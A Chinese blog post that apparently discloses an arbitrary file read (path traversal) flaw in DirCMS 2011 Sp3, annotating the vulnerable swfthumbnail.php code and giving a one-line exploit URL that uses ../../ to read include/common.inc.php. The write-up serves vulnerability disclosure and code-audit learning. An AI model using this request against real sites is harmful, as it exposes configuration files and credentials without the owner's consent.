DirCMS 任意文件读取0day

  感觉时间真的过得真的很快,电脑一开一关一天就没了。不能这样下去,所以我打算抽出点时间来写博客和学习,记录一下自己的成长。不管是程序员、还是安全工程师,读别人的代码无疑都是进步较快的方式,所以我觉得从今天起抽出时间来把站长网上的开源cms都看一遍,学习学习。

  看到一套DirCms就把他下回来了,名字还蛮特别的(ps:小心我dir溢出你)。貌似黑帽子们审计代码都是查找关键字和跟踪关键位置,自己定义好一个存在风险的函数和变量名列表。我又不是黑阔,所以我喜欢根据程序的架构一个一个文件慢慢看,随便学习下开发者的技巧。

  当我看到/api/upload/swfthumbnail.php这个文件的时候,彻底无语了,只有短短的几十行代码。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// This script accepts an ID and looks in the user's session for stored thumbnail name.
// It then streams the data to the browser from the file
// Work around the Flash Player Cookie Bug
if(isset($_POST["PHPSESSID"])){//这个判断不会影响程序向下执行,不用管他
session_id($_POST["PHPSESSID"]);
}
session_start();
//关键位置,我想说这个正则有啥用? boss可以扣除这个程序员的资金了。
$image_id=isset($_GET["id"])?preg_replace('/[^a-z0-9:\.\/\\\\-]/i','',$_GET["id"]):false;
//由于上面的正则问题,所以 $image_id 就算是恶意构造也是为真的
if($image_id===false)
{
header("HTTP/1.1 500 Internal Server Error");
echo"No ID";
exit(0);
}
//只要id的值不以http:// 开头,而且文件存在就可以不进入里面了。
//由于是读本地文件,当然不用http://开头,保证文件的存在可以用相对路径../../
if(substr($image_id,0,7)!='http://'&&!file_exists("../../upload/image/".$image_id))
{
header("HTTP/1.1 404 Not found");
exit(0);
}
//上面都通过了,这个当然没问题
if(substr($image_id,0,7)!='http://')
{
header("Content-type: image/jpeg");
header("Content-length: ".filesize("../../upload/image/".$image_id));
flush();
readfile("../../upload/image/".$image_id);//输出文件
}
else
{
header('location:'.$image_id);
}
exit(0);
?>

测试版本为最新版:DirCMS 2011 Sp3


Exp:view-source:/api/upload/swfthumbnail.php?id=../../include/common.inc.php

已通知官方,请勿非法测试,产生后果与本人无关。